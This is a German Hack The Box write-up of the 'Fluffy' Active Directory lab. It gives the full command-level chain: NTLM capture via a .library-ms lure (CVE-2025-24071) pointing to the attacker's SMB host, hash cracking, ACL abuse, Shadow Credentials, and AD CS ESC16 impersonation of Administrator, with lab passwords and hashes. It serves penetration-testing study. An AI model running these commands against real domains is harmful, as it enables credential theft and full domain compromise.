HTB · published
Fluffy
Hack The Box CPTS-Track Writeup für Fluffy: Assumed Breach, CVE-2025-24071 NTLM Capture, Shadow Credentials, WinRM und AD CS ESC16.
Metadaten
- Name: Fluffy
- IP Address:
10.129.8.103 - Plattform: Windows
- Kategorie: Active Directory / SMB / NTLM Capture / ADCS
- Schwierigkeit: Easy
- Ziel(e): User, Administrator / Root
- Kurzbeschreibung: Fluffy ist ein Windows Server 2019 Domain Controller für
fluffy.htb. Die Maschine folgt einem Assumed-Breach-AD-Pfad: Start-Credentials fürj.fleischmangeben Schreibzugriff auf denIT-Share. Über eine bösartige.library-ms-Datei wird ein NetNTLMv2-Hash vonp.agilaerbeutet und gecrackt. Danach führen ACL-Missbrauch und Shadow Credentials zuwinrm_svc, anschließend über AD CS ESC16 zu Administrator.
Executive Summary
Der Einstieg begann mit bekannten Zugangsdaten:
j.fleischman / J0elTHEM4n1990!
Dieser Account hatte Schreibrechte auf dem SMB-Share IT. Dort lagen Upgrade-Dateien und ein Hinweis auf CVE-2025-24071. Durch das Ablegen einer präparierten Windows-Library-Datei wurde eine SMB-Authentifizierung von p.agila ausgelöst. Der NetNTLMv2-Hash ließ sich zu prometheusx-303 cracken.
Mit p.agila wurde über ACL-Rechte die Gruppe Service Accounts missbraucht. Danach waren Shadow Credentials gegen winrm_svc möglich, wodurch der NTLM-Hash für WinRM gewonnen wurde. Der Root-Pfad führte über Shadow Credentials gegen ca_svc und AD CS ESC16: Die UPN von ca_svc wurde temporär auf administrator@fluffy.htb gesetzt, ein Zertifikat angefordert und anschließend als Administrator authentifiziert.
Flags:
- User:
9cdb1[REDACTED-USER-FLAG]7041 - Root:
1e9ad[REDACTED-ROOT-FLAG]0d3e
Reconnaissance / Enumeration
Host Discovery zeigte eine Windows-typische TTL:
ping -c 2 10.129.8.103
64 bytes from 10.129.8.103: ttl=127
Der Full-Port-Scan zeigte eine klassische Domain-Controller-Angriffsfläche:
nmap -p- --min-rate 5000 -vv 10.129.8.103 -oA scans/nmap_full_tcp
Wichtige offene Ports:
53/tcp DNS
88/tcp Kerberos
139/tcp NetBIOS
389/tcp LDAP
445/tcp SMB
464/tcp kpasswd
593/tcp RPC over HTTP
636/tcp LDAPS
3268/tcp Global Catalog
3269/tcp Global Catalog SSL
5985/tcp WinRM
9389/tcp ADWS
49667+ Dynamic RPC
Der gezielte Service-Scan bestätigte Domain und Host:
nmap -sCV -O -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389 10.129.8.103 -oA scans/nmap_targeted
Domain: fluffy.htb
Host: DC01.fluffy.htb
OS guess: Windows Server 2019 / build 17763
SMB signing: enabled and required
Clock skew: +7 hours
Der Clock Skew wurde später wichtig, weil Kerberos-/PKINIT-basierte Tools ohne Zeitkorrektur fehlschlagen können.
LDAP / SMB Enumeration
LDAP RootDSE bestätigte den Naming Context:
ldapsearch -x -H ldap://10.129.8.103 -s base namingcontexts defaultNamingContext dnsHostName
defaultNamingContext: DC=fluffy,DC=htb
dnsHostName: DC01.fluffy.htb
SMB-Checks ohne valide Credentials zeigten Share-Namen, aber keinen brauchbaren Dateizugriff:
ADMIN$
C$
IPC$
IT
NETLOGON
SYSVOL
RID-Bruteforcing über LSARPC lieferte valide Benutzer:
ca_svc
ldap_svc
p.agila
winrm_svc
j.coffey
j.fleischman
AS-REP Roasting war nicht möglich; die gefundenen Benutzer erforderten Kerberos Pre-Authentication.
Assumed Breach: SMB Zugriff
Die Maschine startete mit einem Assumed-Breach-Credential:
j.fleischman / J0elTHEM4n1990!
Share-Enumeration:
crackmapexec smb DC01.fluffy.htb \
-u 'j.fleischman' \
-p 'J0elTHEM4n1990!' \
--shares
Wichtige Rechte:
Share Permissions
----- -----------
IPC$ READ
IT READ,WRITE
NETLOGON READ
SYSVOL READ
j.fleischman hatte keinen WinRM-Zugriff, aber der IT-Share war les- und beschreibbar.
Im IT-Share lagen:
Everything-1.4.1.1026.x64.zip
KeePass-2.58.zip
Upgrade_Notice.pdf
Die Upgrade_Notice.pdf verwies auf mehrere Schwachstellen, darunter CVE-2025-24071.
NTLM Capture über CVE-2025-24071
Für den NTLM-Capture wurde eine präparierte Windows-Library-Datei erstellt, die auf den eigenen SMB-Server zeigte:
<url>\\10.10.15.38\share</url>
Responder wurde gestartet:
responder -I tun0 -v
Dann wurde die .library-ms-Datei in den beschreibbaren IT-Share gelegt:
smbclient //DC01.fluffy.htb/IT \
-U 'fluffy.htb/j.fleischman%J0elTHEM4n1990!' \
-c 'put loot/IT/upgrade_notice.library-ms upgrade_notice.library-ms'
Dadurch wurde ein NetNTLMv2-Hash von p.agila ausgelöst und mit Responder erfasst.
Cracking mit Hashcat:
hashcat -m 5600 loot/pagila_netntlmv2_one.hash /usr/share/wordlists/rockyou.txt
Gefundenes Credential:
p.agila / prometheusx-303
Nach dem Capture wurde die hochgeladene Lure-Datei wieder entfernt.
ACL Abuse und Shadow Credentials
p.agila hatte zunächst keinen WinRM-Zugriff. Die AD-Rechte waren aber der Pivot: Über Schreibrechte an der Gruppe Service Accounts konnte p.agila hinzugefügt werden.
bloodyAD -d fluffy.htb \
-u p.agila \
-p 'prometheusx-303' \
-H DC01.fluffy.htb \
--dns 10.129.8.103 \
add groupMember 'Service Accounts' p.agila
Danach konnte p.agila msDS-KeyCredentialLink auf Service-Accounts schreiben. Dadurch waren Shadow Credentials gegen diese Accounts möglich.
Wegen des Clock Skews wurde faketime '+7 hours' verwendet.
Shadow Credentials gegen winrm_svc:
faketime '+7 hours' certipy shadow auto \
-u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
-account winrm_svc \
-dc-ip 10.129.8.103 \
-target DC01.fluffy.htb \
-ns 10.129.8.103
Ergebnis:
winrm_svc NTLM: 33bd09dcd697600edf6b3a7af4875767
User Flag
WinRM wurde mit dem Hash validiert:
crackmapexec winrm DC01.fluffy.htb \
-u winrm_svc \
-H 33bd09dcd697600edf6b3a7af4875767
Shell:
evil-winrm -i DC01.fluffy.htb \
-u winrm_svc \
-H 33bd09dcd697600edf6b3a7af4875767
User-Flag:
9cdb1[REDACTED-USER-FLAG]7041
AD CS Enumeration
LDAPS hatte bereits eine CA angedeutet. Certipy bestätigte AD CS:
CA Name: fluffy-DC01-CA
CA DNS: DC01.fluffy.htb
Web Enrollment: Disabled
Vulnerability: ESC16 - Security Extension is disabled
Wichtig:
Disabled Extensions: 1.3.6.1.4.1.311.25.2
ESC16: Security Extension is disabled
Das bedeutet: Zertifikate enthalten keine starke SID-Bindung. In Kombination mit Kontrolle über einen enrollbaren Account kann das zur Administrator-Impersonation führen.
ca_svc Takeover
Da ca_svc ebenfalls über Shadow Credentials angreifbar war, wurde zuerst dessen NTLM-Hash gewonnen:
faketime '+7 hours' certipy shadow auto \
-u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
-account ca_svc \
-dc-ip 10.129.8.103 \
-target DC01.fluffy.htb \
-ns 10.129.8.103
Ergebnis:
ca_svc NTLM: ca0f4f9e9eb8a092addf53bb03fc98c8
Privilege Escalation: AD CS ESC16
Der ESC16-Weg bestand aus drei Schritten:
- UPN von
ca_svctemporär aufadministrator@fluffy.htbändern. - Zertifikat über das
User-Template anfordern. - UPN wieder auf den ursprünglichen Wert zurücksetzen.
UPN ändern:
faketime '+7 hours' certipy account update \
-u 'ca_svc@fluffy.htb' \
-hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
-user ca_svc \
-upn 'administrator@fluffy.htb' \
-dc-ip 10.129.8.103 \
-target DC01.fluffy.htb \
-ns 10.129.8.103
Zertifikat anfordern:
faketime '+7 hours' certipy req \
-u 'ca_svc@fluffy.htb' \
-hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
-ca 'fluffy-DC01-CA' \
-template User \
-dc-ip 10.129.8.103 \
-target DC01.fluffy.htb \
-target-ip 10.129.8.103 \
-ns 10.129.8.103 \
-dynamic-endpoint \
-out loot/administrator_from_ca_svc
UPN wiederherstellen:
faketime '+7 hours' certipy account update \
-u 'ca_svc@fluffy.htb' \
-hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
-user ca_svc \
-upn 'ca_svc@fluffy.htb' \
-dc-ip 10.129.8.103 \
-target DC01.fluffy.htb \
-ns 10.129.8.103
Das ausgestellte Zertifikat enthielt administrator@fluffy.htb. Durch ESC16 konnte es zur Administrator-Authentifizierung genutzt werden.
Authentifizierung mit dem Zertifikat:
faketime '+7 hours' certipy auth \
-pfx loot/administrator_from_ca_svc.pfx \
-dc-ip 10.129.8.103 \
-domain fluffy.htb \
-username administrator
Ergebnis:
Administrator NTLM: 8da83a3fa618b6e3a00e93f676c92a6e
Root Flag
Mit dem Administrator-Hash war WinRM-Zugriff möglich:
evil-winrm -i DC01.fluffy.htb \
-u Administrator \
-H 8da83a3fa618b6e3a00e93f676c92a6e
Root-Flag:
1e9ad[REDACTED-ROOT-FLAG]0d3e
Alternative Paths / Rabbit Holes
j.fleischmanhatte SMB-Zugriff, aber keinen WinRM-Zugang.- AS-REP Roasting war nicht möglich, da alle gefundenen Benutzer Pre-Authentication erforderten.
- Direktes Password Guessing brachte keinen sinnvollen Fortschritt.
- AD CS Web Enrollment war deaktiviert; Zertifikatsanforderungen funktionierten über RPC.
- BloodyAD konnte Shadow Credentials schreiben, aber PKINIT war erst mit korrigierter Zeit über Certipy zuverlässig.
Post-Exploitation
- Initial Access: Assumed-Breach-Credential
j.fleischman. - Credential Capture:
.library-ms-Lure imIT-Share löstep.agilaNetNTLMv2 aus. - User: Shadow Credentials gegen
winrm_svc, danach WinRM und User-Flag. - Root: Shadow Credentials gegen
ca_svc, ESC16 über UPN-Swap, Zertifikatsauth als Administrator. - Cleanup: Die
.library-ms-Datei wurde aus dem Share entfernt; UPN vonca_svcwurde zurückgesetzt.
Lessons Learned
- Assumed Breach bleibt Enumeration: Start-Credentials sind nur der Anfang; der direkte WinRM-Weg war blockiert.
- Writable SMB Shares sind gefährlich: In Kombination mit
.library-msundCVE-2025-24071kann schon Dateizugriff NTLM-Material auslösen. - RID Brute Force lohnt sich: Auch wenn LDAP anonym eingeschränkt ist, können über LSARPC valide Benutzer gefunden werden.
- Clock Skew ernst nehmen:
+7hZeitversatz brach Kerberos/PKINIT-Workflows, bisfaketimegenutzt wurde. - Shadow Credentials sind starke Pivots: Schreibrechte auf
msDS-KeyCredentialLinkführten zu Service-Account-Hashes. - ESC16 ist mächtig: Ohne Security Extension kann ein UPN-Swap mit einem enrollbaren Account zur Administrator-Authentifizierung führen.
Tools Used
nmapldapsearchsmbclientsmbmapenum4linux-nglookupsid.pyGetNPUsers.pycrackmapexecResponderhashcatbloodyADCertipyfaketimeevil-winrm